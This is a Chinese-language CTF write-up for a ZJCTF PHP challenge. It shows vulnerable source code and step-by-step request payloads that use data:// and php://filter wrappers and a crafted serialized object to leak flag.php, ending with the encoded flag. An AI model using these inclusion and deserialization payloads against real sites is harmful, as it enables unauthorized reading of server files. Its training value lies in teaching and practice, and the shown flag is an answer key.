1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

这道题目首先要进入if,但是file_get_contents是用来读文件的,我们这可以使用伪协议data,伪装文件确保读到的内容是welcome to the zjctf

1
/?text=data://text/plain,welcome to the zjctf

接下来是一个文件包含,这里不允许我们直接包含flag,有一个提示文件useless.php,先读一下,传参

1
/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

得到一个base64编码,解码后为

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

根据题题目后面的unserialize函数可以判断这里是一个反序列化

这里还提示了flag就在flag.php中,这个类是专门让我们包含flag文件的

写一个生成序列化payload的脚本

1
2
3
4
5
6
7
<?php

class Flag
{ //flag.php
public $file = "php://filter/read=convert.base64-encode/resource=flag.php";
}
echo urlencode(serialize(new Flag()));

得到

1
O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D

然后正常包含useless.php文件,传参

1
/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D
1
2
3
4
5
6
响应:

welcome to the zjctf

PGJyPm9oIHUgZmluZCBpdCA8L2JyPgoKPCEtLWJ1dCBpIGNhbnQgZ2l2ZSBpdCB0byB1IG5vdy0tPgoKPD9waHAKCmlmKDI9PT0zKXsgIAoJcmV0dXJuICgiZmxhZ3tiYWU2ZDFiYy0yYjk4LTRhYWMtYTM3Yy01ZTZmOTRlYzQ0NGJ9Iik7Cn0KCj8+Cg==
U R SO CLOSE !///COME ON PLZ

得到flag的base64编码,解码就是flag